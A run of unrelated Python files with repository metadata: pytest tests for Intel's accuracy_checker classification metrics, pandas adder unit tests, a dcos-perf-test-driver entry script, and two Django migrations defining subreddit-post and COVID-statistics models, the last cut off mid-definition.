""" Copyright (c) 2018 Intel Corporation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import pytest from accuracy_checker.config import ConfigError from accuracy_checker.metrics import ClassificationAccuracy, MetricsExecutor from accuracy_checker.representation import (ClassificationAnnotation, ClassificationPrediction, ContainerAnnotation, ContainerPrediction, DetectionAnnotation, DetectionPrediction) from tests.test_detection_metrics import DummyDataset class TestMetric: def setup_method(self): self.module = 'accuracy_checker.metrics.metric_evaluator' def test_missed_metrics_raises_config_error_exception(self): config = {'annotation': 'custom'} with pytest.raises(ConfigError): MetricsExecutor(config, None) def test_missed_metrics_raises_config_error_exception_with_custom_name(self): config = {'name': 'some_name', 'annotation': 'custom'} with pytest.raises(ConfigError): MetricsExecutor(config, None) def test_empty_metrics_raises_config_error_exception(self): config = {'annotation': 'custom', 'metrics': []} with pytest.raises(ConfigError): MetricsExecutor(config, None) def test_metrics_with_empty_entry_raises_config_error_exception(self): config = {'annotation': 'custom', 'metrics': [{}]} with pytest.raises(ConfigError): MetricsExecutor(config, None) def test_missed_metric_type_raises_config_error_exception(self): config = {'annotation': 'custom', 'metrics': [{'undefined': ''}]} with pytest.raises(ConfigError): MetricsExecutor(config, None) def test_undefined_metric_type_raises_config_error_exception(self): config = {'annotation': 'custom', 'metrics': [{'type': ''}]} with pytest.raises(ConfigError): MetricsExecutor(config, None) def test_accuracy_arguments(self): config = {'annotation': 'custom', 'metrics': [{'type': 'accuracy', 'top_k': 1}]} dispatcher = MetricsExecutor(config, None) assert len(dispatcher._metrics) == 1 _, accuracy_metric, _, _, _ = dispatcher._metrics[0] assert isinstance(accuracy_metric, ClassificationAccuracy) assert accuracy_metric.top_k == 1 def test_accuracy_with_several_annotation_source_raises_config_error_exception(self): config = {'annotation': 'custom', 'metrics': [{'type': 'accuracy', 'top_k': 1, 'annotation_source': 'annotation1, annotation2'}]} with pytest.raises(ConfigError): MetricsExecutor(config, None) def test_accuracy_with_several_prediction_source_raises_value_error_exception(self): config = {'annotation': 'custom', 'metrics': [{'type': 'accuracy', 'top_k': 1, 'prediction_source': 'prediction1, prediction2'}]} with pytest.raises(ConfigError): MetricsExecutor(config, None) def test_accuracy_on_container_with_wrong_annotation_source_name_raise_config_error_exception(self): annotations = [ContainerAnnotation({'annotation': ClassificationAnnotation('identifier', 3)})] predictions = [ClassificationPrediction('identifier', [1.0, 1.0, 1.0, 4.0])] config = {'annotation': 'mocked', 'metrics': [{'type': 'accuracy', 'top_k': 1, 'annotation_source': 'a'}]} dispatcher = MetricsExecutor(config, None) with pytest.raises(ConfigError): dispatcher.update_metrics_on_batch(annotations, predictions) def test_accuracy_with_wrong_annotation_type_raise_config_error_exception(self): annotations = [DetectionAnnotation('identifier', 3)] predictions = [ClassificationPrediction('identifier', [1.0, 1.0, 1.0, 4.0])] config = {'annotation': 'mocked', 'metrics': [ {'type': 'accuracy', 'top_k': 1}]} dispatcher = MetricsExecutor(config, None) with pytest.raises(ConfigError): dispatcher.update_metrics_on_batch(annotations, predictions) def test_accuracy_with_unsupported_annotations_in_container_raise_config_error_exception(self): annotations = [ContainerAnnotation({'annotation': DetectionAnnotation('identifier', 3)})] predictions = [ClassificationPrediction('identifier', [1.0, 1.0, 1.0, 4.0])] config = {'annotation': 'mocked', 'metrics': [ {'type': 'accuracy', 'top_k': 1}]} dispatcher = MetricsExecutor(config, None) with pytest.raises(ConfigError): dispatcher.update_metrics_on_batch(annotations, predictions) def test_accuracy_with_unsupported_type_of_annotation_as_annotation_source_for_container_raise_config_error_exception(self): annotations = [ContainerAnnotation({'annotation': DetectionAnnotation('identifier', 3)})] predictions = [ClassificationPrediction('identifier', [1.0, 1.0, 1.0, 4.0])] config = {'annotation': 'mocked', 'metrics': [ {'type': 'accuracy', 'top_k': 1, 'annotation_source': 'annotation'}]} dispatcher = MetricsExecutor(config, None) with pytest.raises(ConfigError): dispatcher.update_metrics_on_batch(annotations, predictions) def test_accuracy_on_annotation_container_with_several_suitable_representations_config_value_error_exception(self): annotations = [ContainerAnnotation({'annotation1': ClassificationAnnotation('identifier', 3), 'annotation2': ClassificationAnnotation('identifier', 3)})] predictions = [ClassificationPrediction('identifier', [1.0, 1.0, 1.0, 4.0])] config = {'annotation': 'mocked', 'metrics': [{'type': 'accuracy', 'top_k': 1}]} dispatcher = MetricsExecutor(config, None) with pytest.raises(ConfigError): dispatcher.update_metrics_on_batch(annotations, predictions) def test_accuracy_with_wrong_prediction_type_raise_config_error_exception(self): annotations = [ClassificationAnnotation('identifier', 3)] predictions = [DetectionPrediction('identifier', [1.0, 1.0, 1.0, 4.0])] config = {'annotation': 'mocked', 'metrics': [{'type': 'accuracy', 'top_k': 1}]} dispatcher = MetricsExecutor(config, None) with pytest.raises(ConfigError): dispatcher.update_metrics_on_batch(annotations, predictions) def test_accuracy_with_unsupported_prediction_in_container_raise_config_error_exception(self): annotations = [ClassificationAnnotation('identifier', 3)] predictions = [ContainerPrediction({'prediction': DetectionPrediction('identifier', [1.0, 1.0, 1.0, 4.0])})] config = {'annotation': 'mocked', 'metrics': [{'type': 'accuracy', 'top_k': 1}]} dispatcher = MetricsExecutor(config, None) with pytest.raises(ConfigError): dispatcher.update_metrics_on_batch(annotations, predictions) def test_accuracy_with_unsupported_type_of_prediction_as_prediction_source_for_container_raise_config_error_exception(self): annotations = [ClassificationAnnotation('identifier', 3)] predictions = [ContainerPrediction({'prediction': DetectionPrediction('identifier', [1.0, 1.0, 1.0, 4.0])})] config = {'annotation': 'mocked', 'metrics': [ {'type': 'accuracy', 'top_k': 1, 'prediction_source': 'prediction'}]} dispatcher = MetricsExecutor(config, None) with pytest.raises(ConfigError): dispatcher.update_metrics_on_batch(annotations, predictions) def test_accuracy_on_prediction_container_with_several_suitable_representations_raise_config_error_exception(self): annotations = [ClassificationAnnotation('identifier', 3)] predictions = [ContainerPrediction({'prediction1': ClassificationPrediction('identifier', [1.0, 1.0, 1.0, 4.0]), 'prediction2': ClassificationPrediction('identifier', [1.0, 1.0, 1.0, 4.0])})] config = {'annotation': 'mocked', 'metrics': [{'type': 'accuracy', 'top_k': 1}]} dispatcher = MetricsExecutor(config, None) with pytest.raises(ConfigError): dispatcher.update_metrics_on_batch(annotations, predictions) def test_complete_accuracy(self): annotations = [ClassificationAnnotation('identifier', 3)] predictions = [ClassificationPrediction('identifier', [1.0, 1.0, 1.0, 4.0])] config = {'annotation': 'mocked', 'metrics': [{'type': 'accuracy', 'top_k': 1}]} dispatcher = MetricsExecutor(config, None) dispatcher.update_metrics_on_batch(annotations, predictions) for _, evaluation_result in dispatcher.iterate_metrics(annotations, predictions): assert evaluation_result.name == 'accuracy' assert evaluation_result.evaluated_value == pytest.approx(1.0) assert evaluation_result.reference_value is None assert evaluation_result.threshold is None def test_complete_accuracy_with_container_default_sources(self): annotations = [ContainerAnnotation({'a': ClassificationAnnotation('identifier', 3)})] predictions = [ContainerPrediction({'p': ClassificationPrediction('identifier', [1.0, 1.0, 1.0, 4.0])})] config = {'annotation': 'mocked', 'metrics': [{'type': 'accuracy', 'top_k': 1}]} dispatcher = MetricsExecutor(config, None) dispatcher.update_metrics_on_batch(annotations, predictions) for _, evaluation_result in dispatcher.iterate_metrics(annotations, predictions): assert evaluation_result.name == 'accuracy' assert evaluation_result.evaluated_value == pytest.approx(1.0) assert evaluation_result.reference_value is None assert evaluation_result.threshold is None def test_complete_accuracy_with_container_sources(self): annotations = [ContainerAnnotation({'a': ClassificationAnnotation('identifier', 3)})] predictions = [ContainerPrediction({'p': ClassificationPrediction('identifier', [1.0, 1.0, 1.0, 4.0])})] config = {'annotation': 'mocked', 'metrics': [{'type': 'accuracy', 'top_k': 1, 'annotation_source': 'a', 'prediction_source': 'p'}]} dispatcher = MetricsExecutor(config, None) dispatcher.update_metrics_on_batch(annotations, predictions) for _, evaluation_result in dispatcher.iterate_metrics(annotations, predictions): assert evaluation_result.name == 'accuracy' assert evaluation_result.evaluated_value == pytest.approx(1.0) assert evaluation_result.reference_value is None assert evaluation_result.threshold is None def test_zero_accuracy(self): annotation = [ClassificationAnnotation('identifier', 2)] prediction = [ClassificationPrediction('identifier', [1.0, 1.0, 1.0, 4.0])] config = {'annotation': 'mocked', 'metrics': [{'type': 'accuracy', 'top_k': 1}]} dispatcher = MetricsExecutor(config, None) for _, evaluation_result in dispatcher.iterate_metrics([annotation], [prediction]): assert evaluation_result.name == 'accuracy' assert evaluation_result.evaluated_value == 0.0 assert evaluation_result.reference_value is None assert evaluation_result.threshold is None def test_complete_accuracy_top_3(self): annotations = [ClassificationAnnotation('identifier', 3)] predictions = [ClassificationPrediction('identifier', [1.0, 3.0, 4.0, 2.0])] config = {'annotation': 'mocked', 'metrics': [{'type': 'accuracy', 'top_k': 3}]} dispatcher = MetricsExecutor(config, None) dispatcher.update_metrics_on_batch(annotations, predictions) for _, evaluation_result in dispatcher.iterate_metrics(annotations, predictions): assert evaluation_result.name == 'accuracy' assert evaluation_result.evaluated_value == pytest.approx(1.0) assert evaluation_result.reference_value is None assert evaluation_result.threshold is None def test_zero_accuracy_top_3(self): annotations =[ClassificationAnnotation('identifier', 3)] predictions =[ClassificationPrediction('identifier', [5.0, 3.0, 4.0, 1.0])] config = {'annotation': 'mocked', 'metrics': [{'type': 'accuracy', 'top_k': 3}]} dispatcher = MetricsExecutor(config, None) for _, evaluation_result in dispatcher.iterate_metrics(annotations, predictions): assert evaluation_result.name == 'accuracy' assert evaluation_result.evaluated_value == 0.0 assert evaluation_result.reference_value is None assert evaluation_result.threshold is None def test_reference_is_10_by_config(self): annotations = [ClassificationAnnotation('identifier', 3)] predictions = [ClassificationPrediction('identifier', [5.0, 3.0, 4.0, 1.0])] config = {'annotation': 'mocked', 'metrics': [{'type': 'accuracy', 'top_k': 3, 'reference': 10}]} dispatcher = MetricsExecutor(config, None) for _, evaluation_result in dispatcher.iterate_metrics(annotations, predictions): assert evaluation_result.name == 'accuracy' assert evaluation_result.evaluated_value == 0.0 assert evaluation_result.reference_value == 10 assert evaluation_result.threshold is None def test_threshold_is_10_by_config(self): annotations =[ClassificationAnnotation('identifier', 3)] predictions = [ClassificationPrediction('identifier', [5.0, 3.0, 4.0, 1.0])] config = {'annotation': 'mocked', 'metrics': [{'type': 'accuracy', 'top_k': 3, 'threshold': 10}]} dispatcher = MetricsExecutor(config, None) for _, evaluation_result in dispatcher.iterate_metrics([annotations], [predictions]): assert evaluation_result.name == 'accuracy' assert evaluation_result.evaluated_value == 0.0 assert evaluation_result.reference_value is None assert evaluation_result.threshold == 10 def test_classification_per_class_accuracy_fully_zero_prediction(self): annotation = ClassificationAnnotation('identifier', 0) prediction = ClassificationPrediction('identifier', [1.0, 2.0]) config = {'annotation': 'mocked', 'metrics': [{'type': 'accuracy_per_class', 'top_k': 1}]} dataset = DummyDataset(label_map={0: '0', 1: '1'}) dispatcher = MetricsExecutor(config, dataset) dispatcher.update_metrics_on_batch([annotation], [prediction]) for _, evaluation_result in dispatcher.iterate_metrics([annotation], [prediction]): assert evaluation_result.name == 'accuracy_per_class' assert len(evaluation_result.evaluated_value) == 2 assert evaluation_result.evaluated_value[0] == pytest.approx(0.0) assert evaluation_result.evaluated_value[1] == pytest.approx(0.0) assert evaluation_result.reference_value is None assert evaluation_result.threshold is None def test_classification_per_class_accuracy_particually_zero_prediction(self): annotation = [ClassificationAnnotation('identifier', 1)] prediction = [ClassificationPrediction('identifier', [1.0, 2.0])] config = {'annotation': 'mocked', 'metrics': [{'type': 'accuracy_per_class', 'top_k': 1}]} dataset = DummyDataset(label_map={0: '0', 1: '1'}) dispatcher = MetricsExecutor(config, dataset) dispatcher.update_metrics_on_batch(annotation, prediction) for _, evaluation_result in dispatcher.iterate_metrics(annotation, prediction): assert evaluation_result.name == 'accuracy_per_class' assert len(evaluation_result.evaluated_value) == 2 assert evaluation_result.evaluated_value[0] == pytest.approx(0.0) assert evaluation_result.evaluated_value[1] == pytest.approx(1.0) assert evaluation_result.reference_value is None assert evaluation_result.threshold is None def test_classification_per_class_accuracy_complete_prediction(self): annotation = [ClassificationAnnotation('identifier_1', 1), ClassificationAnnotation('identifier_2', 0)] prediction = [ClassificationPrediction('identifier_1', [1.0, 2.0]), ClassificationPrediction('identifier_2', [2.0, 1.0])] config = {'annotation': 'mocked', 'metrics': [{'type': 'accuracy_per_class', 'top_k': 1}]} dataset = DummyDataset(label_map={0: '0', 1: '1'}) dispatcher = MetricsExecutor(config, dataset) dispatcher.update_metrics_on_batch(annotation, prediction) for _, evaluation_result in dispatcher.iterate_metrics(annotation, prediction): assert evaluation_result.name == 'accuracy_per_class' assert len(evaluation_result.evaluated_value) == 2 assert evaluation_result.evaluated_value[0] == pytest.approx(1.0) assert evaluation_result.evaluated_value[1] == pytest.approx(1.0) assert evaluation_result.reference_value is None assert evaluation_result.threshold is None def test_classification_per_class_accuracy_particual_prediction(self): annotation = [ClassificationAnnotation('identifier_1', 1), ClassificationAnnotation('identifier_2', 0), ClassificationAnnotation('identifier_3', 0)] prediction = [ClassificationPrediction('identifier_1', [1.0, 2.0]), ClassificationPrediction('identifier_2', [2.0, 1.0]), ClassificationPrediction('identifier_3', [1.0, 5.0])] config = {'annotation': 'mocked', 'metrics': [{'type': 'accuracy_per_class', 'top_k': 1}]} dataset = DummyDataset(label_map={0: '0', 1: '1'}) dispatcher = MetricsExecutor(config, dataset) dispatcher.update_metrics_on_batch(annotation, prediction) for _, evaluation_result in dispatcher.iterate_metrics(annotation, prediction): assert evaluation_result.name == 'accuracy_per_class' assert len(evaluation_result.evaluated_value) == 2 assert evaluation_result.evaluated_value[0] == pytest.approx(0.5) assert evaluation_result.evaluated_value[1] == pytest.approx(1.0) assert evaluation_result.reference_value is None assert evaluation_result.threshold is None def test_classification_per_class_accuracy_prediction_top3_zero(self): annotation = [ClassificationAnnotation('identifier_1', 0), ClassificationAnnotation('identifier_2', 1)] prediction = [ClassificationPrediction('identifier_1', [1.0, 2.0, 3.0, 4.0]), ClassificationPrediction('identifier_2', [2.0, 1.0, 3.0, 4.0])] config = {'annotation': 'mocked', 'metrics': [{'type': 'accuracy_per_class', 'top_k': 3}]} dataset = DummyDataset(label_map={0: '0', 1: '1', 2: '2', 3: '3'}) dispatcher = MetricsExecutor(config, dataset) dispatcher.update_metrics_on_batch(annotation, prediction) for _, evaluation_result in dispatcher.iterate_metrics(annotation, prediction): assert evaluation_result.name == 'accuracy_per_class' assert len(evaluation_result.evaluated_value) == 4 assert evaluation_result.evaluated_value[0] == pytest.approx(0.0) assert evaluation_result.evaluated_value[1] == pytest.approx(0.0) assert evaluation_result.evaluated_value[2] == pytest.approx(0.0) assert evaluation_result.evaluated_value[3] == pytest.approx(0.0) assert evaluation_result.reference_value is None assert evaluation_result.threshold is None def test_classification_per_class_accuracy_prediction_top3(self): annotation = [ClassificationAnnotation('identifier_1', 1), ClassificationAnnotation('identifier_2', 1)] prediction = [ClassificationPrediction('identifier_1', [1.0, 2.0, 3.0, 4.0]), ClassificationPrediction('identifier_2', [2.0, 1.0, 3.0, 4.0])] config = {'annotation': 'mocked', 'metrics': [{'type': 'accuracy_per_class', 'top_k': 3}]} dataset = DummyDataset(label_map={0: '0', 1: '1', 2: '2', 3: '3'}) dispatcher = MetricsExecutor(config, dataset) dispatcher.update_metrics_on_batch(annotation, prediction) for _, evaluation_result in dispatcher.iterate_metrics(annotation, prediction): assert evaluation_result.name == 'accuracy_per_class' assert len(evaluation_result.evaluated_value) == 4 assert evaluation_result.evaluated_value[0] == pytest.approx(0.0) assert evaluation_result.evaluated_value[1] == pytest.approx(0.5) assert evaluation_result.evaluated_value[2] == pytest.approx(0.0) assert evaluation_result.evaluated_value[3] == pytest.approx(0.0) assert evaluation_result.reference_value is None assert evaluation_result.threshold is None

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0

null

0

1

0

1

0

null

0

7

3a058d570582db619236f2283e727e570f20b2db

12,614

py

Python

parser/adder_Tests.py

musashin/DashBoardTest

50f1be6ab9a53b1864beea2756eca6c7f8d9b40f

[ "MIT" ]

null

parser/adder_Tests.py

musashin/DashBoardTest

50f1be6ab9a53b1864beea2756eca6c7f8d9b40f

[ "MIT" ]

null

parser/adder_Tests.py

musashin/DashBoardTest

50f1be6ab9a53b1864beea2756eca6c7f8d9b40f

[ "MIT" ]

null

import unittest from parser import adder import pandas as pd from datetime import datetime class AdderTests(unittest.TestCase): """ Test in normal conditions """ def test_simple_addition(self): total = pd.DataFrame(columns=['X', 'Y', 'CPI'], dtype=float) date_today = datetime.now() invoice_weeks = pd.date_range(date_today, periods=3, freq='W') project1 = pd.DataFrame(index=invoice_weeks, data= {'X': [40, 50, 60], 'Y': [10000, 20000, 30000], 'CPI': [10, 20, 30]}) project2 = pd.DataFrame(index=invoice_weeks, data={'X': [10, 10, 10], 'Y': [30, 40, 50], 'CPI': [100, 20, 100]}) for idx, project in enumerate((project1, project2)): adder.add_project_data(total, project, idx, column_to_average=('CPI')) expected_result = pd.DataFrame(index=invoice_weeks, data={'X': [50, 60, 70], 'Y': [10030, 20040, 30050], 'CPI': [55, 20, 65]}, dtype=float) expected_result.sort_index(inplace=True, axis=1) self.assertTrue(total.equals(expected_result)) def test_multiple_simple_addition(self): total = pd.DataFrame(columns=['X', 'CPI'], dtype=float) date_today = datetime.now() invoice_weeks = pd.date_range(date_today, periods=3, freq='W') project = pd.DataFrame(index=invoice_weeks, data={'X': [10, 20, 30], 'CPI': [10, 20, 30]}) for idx in range(5): adder.add_project_data(total, project, idx, column_to_average=('CPI')) expected_result = pd.DataFrame(index=invoice_weeks, data={'X': [10*5, 20*5, 30*5], 'CPI': [10, 20, 30]}, dtype=float) expected_result.sort_index(inplace=True, axis=1) self.assertTrue(total.equals(expected_result)) def test_finishing_late_no_overlap(self): total = pd.DataFrame(columns=['X', 'Y', 'CPI'], dtype=float) date_today = datetime.now() project1_invoice_weeks = pd.date_range(date_today, periods=3, freq='W') project1 = pd.DataFrame(index=project1_invoice_weeks, data={'X': [40, 50, 60], 'Y': [10000, 20000, 30000], 'CPI': [10, 20, 30]}) project2_invoice_weeks = pd.date_range(date_today+pd.Timedelta(3, unit='W'), periods=3, freq='W') project2 = pd.DataFrame(index=project2_invoice_weeks, data={'X': [10, 10, 10], 'Y': [30, 40, 50], 'CPI': [100, 20, 100]}) for idx, project in enumerate((project1, project2)): adder.add_project_data(total, project, idx, column_to_average=('CPI')) expected_results_weeks = project1_invoice_weeks.union(project2_invoice_weeks) expected_result = pd.DataFrame(index=expected_results_weeks, data={ 'X': [40, 50, 60, 70, 70, 70], 'Y': [10000, 20000, 30000, 30000+30, 30000+40, 30000+50], 'CPI': [10, 20, 30, (100+30)/2, (20+30)/2, (100+30)/2]}, dtype=float) expected_result.sort_index(inplace=True, axis=1) self.assertTrue(total.equals(expected_result)) def test_finishing_late_overlap(self): total = pd.DataFrame(columns=['X', 'Y', 'CPI'], dtype=float) date_today = datetime.now() project1_invoice_weeks = pd.date_range(date_today, periods=3, freq='W') project1 = pd.DataFrame(index=project1_invoice_weeks, data={'X': [40, 50, 60], 'Y': [10000, 20000, 30000], 'CPI': [10, 20, 30]}) project2_invoice_weeks = pd.date_range(date_today+pd.Timedelta(2, unit='W'), periods=3, freq='W') project2 = pd.DataFrame(index=project2_invoice_weeks, data={'X': [10, 10, 10], 'Y': [30, 40, 50], 'CPI': [100, 20, 100]}) for idx, project in enumerate((project1, project2)): adder.add_project_data(total, project, idx, column_to_average=('CPI')) expected_results_weeks = project1_invoice_weeks.union(project2_invoice_weeks) expected_result = pd.DataFrame(index=expected_results_weeks, data={ 'X': [40, 50, 70, 70, 70], 'Y': [10000, 20000, 30000+30, 30000+40, 30000+50], 'CPI': [10, 20, (100+30)/2, (20+30)/2, (100+30)/2]}, dtype=float) expected_result.sort_index(inplace=True, axis=1) self.assertTrue(total.equals(expected_result)) def test_starting_early_no_overlap(self): total = pd.DataFrame(columns=['X', 'Y', 'CPI'], dtype=float) date_today = datetime.now() project1_invoice_weeks = pd.date_range(date_today, periods=3, freq='W') project1 = pd.DataFrame(index=project1_invoice_weeks, data={'X': [40, 50, 60], 'Y': [10000, 20000, 30000], 'CPI': [10, 20, 30]}) project2_invoice_weeks = pd.date_range(date_today-pd.Timedelta(3, unit='W'), periods=3, freq='W') project2 = pd.DataFrame(index=project2_invoice_weeks, data={'X': [10, 10, 10], 'Y': [30, 40, 50], 'CPI': [100, 20, 100]}) for idx, project in enumerate((project1, project2)): adder.add_project_data(total, project, idx, column_to_average=('CPI')) expected_results_weeks = project1_invoice_weeks.union(project2_invoice_weeks) expected_result = pd.DataFrame(index=expected_results_weeks, data={ 'X': [10, 10, 10, 50, 60, 70], 'Y': [30, 40, 50, 10000+50, 20000+50, 30000+50], 'CPI': [100, 20, 100, (100+10)/2, (100+20)/2, (100+30)/2]}, dtype=float) expected_result.sort_index(inplace=True, axis=1) self.assertTrue(total.equals(expected_result)) def test_starting_early_overlap(self): total = pd.DataFrame(columns=['X', 'Y', 'CPI'], dtype=float) date_today = datetime.now() project1_invoice_weeks = pd.date_range(date_today, periods=3, freq='W') project1 = pd.DataFrame(index=project1_invoice_weeks, data={'X': [40, 50, 60], 'Y': [10000, 20000, 30000], 'CPI': [10, 20, 30]}) project2_invoice_weeks = pd.date_range(date_today-pd.Timedelta(2, unit='W'), periods=3, freq='W') project2 = pd.DataFrame(index=project2_invoice_weeks, data={'X': [10, 10, 10], 'Y': [30, 40, 50], 'CPI': [100, 20, 100]}) for idx, project in enumerate((project1, project2)): adder.add_project_data(total, project, idx, column_to_average=('CPI')) expected_results_weeks = project1_invoice_weeks.union(project2_invoice_weeks) expected_result = pd.DataFrame(index=expected_results_weeks, data={ 'X': [10, 10, 50, 60, 70], 'Y': [30, 40, 10000+50, 20000+50, 30000+50], 'CPI': [100, 20, (100+10)/2, (100+20)/2, (100+30)/2]}, dtype=float) expected_result.sort_index(inplace=True, axis=1) self.assertTrue(total.equals(expected_result)) class AdderGaps(unittest.TestCase): """ Test with Gaps """ def test_date_gap(self): total = pd.DataFrame(columns=['X', 'Y', 'CPI'], dtype=float) date_today = datetime.now() invoice_weeks = pd.date_range(date_today, periods=6, freq='W') project1 = pd.DataFrame(index=invoice_weeks, data={'X': [40, 50, 60, 70, 80, 90], 'Y': [10000, 20000, 30000, 100, 300, 300], 'CPI': [10, 20, 30, 40, 50, 60]}) project2 = pd.DataFrame(index=invoice_weeks, data={'X': [1, 2, 3, 4, 5, 6], 'Y': [7, 8, 9, 10, 11, 12], 'CPI': [13, 14, 15, 16, 17, 18]}) project2.drop(project2.index[2], inplace=True) project2.drop(project2.index[2], inplace=True) for idx, project in enumerate((project1, project2)): adder.add_project_data(total, project, idx, column_to_average=('CPI')) expected_result = pd.DataFrame(index=invoice_weeks, data={'X': [40+1, 50+2, 60, 70, 80+5, 90+6], 'Y': [10000+7, 20000+8, 30000, 100, 300+11, 300+12], 'CPI': [(10+13)/2, (20+14)/2, 30, 40, (50+17)/2, (60+18)/2]}, dtype=float) expected_result.sort_index(inplace=True, axis=1) self.assertTrue(total.equals(expected_result)) def test_date_gap2(self): total = pd.DataFrame(columns=['X', 'Y', 'CPI'], dtype=float) date_today = datetime.now() invoice_weeks = pd.date_range(date_today, periods=6, freq='W') project1 = pd.DataFrame(index=invoice_weeks, data={'X': [40, 50, 60, 70, 80, 90], 'Y': [10000, 20000, 30000, 100, 300, 300], 'CPI': [10, 20, 30, 40, 50, 60]}) project2 = pd.DataFrame(index=invoice_weeks, data={'X': [1, 2, 3, 4, 5, 6], 'Y': [7, 8, 9, 10, 11, 12], 'CPI': [13, 14, 15, 16, 17, 18]}) project2.drop(project2.index[2], inplace=True) project2.drop(project2.index[2], inplace=True) for idx, project in enumerate((project1, project2)): adder.add_project_data(total, project, idx, column_to_average=('CPI')) expected_result = pd.DataFrame(index=invoice_weeks, data={'X': [40 + 1, 50 + 2, 60, 70, 80 + 5, 90 + 6], 'Y': [10000 + 7, 20000 + 8, 30000, 100, 300 + 11, 300 + 12], 'CPI': [(10 + 13) / 2, (20 + 14) / 2, 30, 40, (50 + 17) / 2, (60 + 18) / 2]}, dtype=float) expected_result.sort_index(inplace=True, axis=1) self.assertTrue(total.equals(expected_result))

53

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12,614

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0.060227

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12,614

238

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0.049689

false

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0

null

0

1

0

1

0

null

0

7

3a08091ac85a3254addc29750a11736e808bc700

154

py

Python

dcos-perf-test-driver.py

mesosphere/dcos-perf-test-driver

8fba87cb6c6f64690c0b5bef5c7d9f2aa0fba06b

[ "Apache-2.0" ]

2

2018-02-27T18:21:21.000Z

2018-03-16T12:12:12.000Z

dcos-perf-test-driver.py

mesosphere/dcos-perf-test-driver

8fba87cb6c6f64690c0b5bef5c7d9f2aa0fba06b

[ "Apache-2.0" ]

1

2018-06-25T07:14:41.000Z

dcos-perf-test-driver.py

mesosphere/dcos-perf-test-driver

8fba87cb6c6f64690c0b5bef5c7d9f2aa0fba06b

[ "Apache-2.0" ]

1

2020-06-25T10:37:21.000Z

#!/usr/bin/env python3 import sys from performance.driver.core.cli.entrypoints import dcos_perf_test_driver sys.exit(dcos_perf_test_driver(sys.argv[1:]))

30.8

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1

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1

0

7

3a1683a99f7f78f056a4688fc45b959a3be7a5a7

3,300

py

Python

velkozz_web_api/apps/social_media_api/migrations/0001_initial.py

velkoz-data-ingestion/velkozz_web_api

519a6a90e5fdf5bab8ba2daf637768c5fd424a12

[ "MIT" ]

null

velkozz_web_api/apps/social_media_api/migrations/0001_initial.py

velkoz-data-ingestion/velkozz_web_api

519a6a90e5fdf5bab8ba2daf637768c5fd424a12

[ "MIT" ]

null

velkozz_web_api/apps/social_media_api/migrations/0001_initial.py

velkoz-data-ingestion/velkozz_web_api

519a6a90e5fdf5bab8ba2daf637768c5fd424a12

[ "MIT" ]

null

# Generated by Django 3.1.5 on 2021-02-09 19:59 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='SciencePosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False, unique=True)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.URLField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='science', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'Science Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='WallStreetBetsPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False, unique=True)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.URLField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='wallstreetbets', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'WallStreetBets Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), ]

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1

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null

0

9

3a3612fba113676b19197299e6acc4985413dfa5

2,303

py

Python

app/core/migrations/0010_indiacovidstats_worldcovidstats.py

mzs9540/covid19

efe8b6e243f576f728a91fc5cde00b1ac0990ac1

[ "MIT" ]

1

2020-04-27T15:20:15.000Z

app/core/migrations/0010_indiacovidstats_worldcovidstats.py

mzs9540/covid19

efe8b6e243f576f728a91fc5cde00b1ac0990ac1

[ "MIT" ]

null

app/core/migrations/0010_indiacovidstats_worldcovidstats.py

mzs9540/covid19

efe8b6e243f576f728a91fc5cde00b1ac0990ac1

[ "MIT" ]

1

2020-05-30T13:55:22.000Z

# Generated by Django 3.0.5 on 2020-04-26 14:14 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('core', '0009_auto_20200426_0835'), ] operations = [ migrations.CreateModel( name='IndiaCovidStats', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('city', models.CharField(max_length=30)), ('total_case', models.CharField(max_length=20)), ('new_case', models.CharField(max_length=20)), ('total_death', models.CharField(max_length=20)), ('new_death', models.CharField(max_length=20)), ('total_recovered', models.CharField(max_length=20)), ('active_case', models.CharField(max_length=20)), ('serious_critical', models.CharField(max_length=20)), ('cases_per_million', models.CharField(max_length=20)), ('deaths_per_million', models.CharField(max_length=20)), ('total_test', models.CharField(max_length=20)), ('test_per_million', models.CharField(max_length=20)), ], ), migrations.CreateModel( name='WorldCovidStats', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('country', models.CharField(max_length=30)), ('total_case', models.CharField(max_length=20)), ('new_case', models.CharField(max_length=20)), ('total_death', models.CharField(max_length=20)), ('new_death', models.CharField(max_length=20)), ('total_recovered', 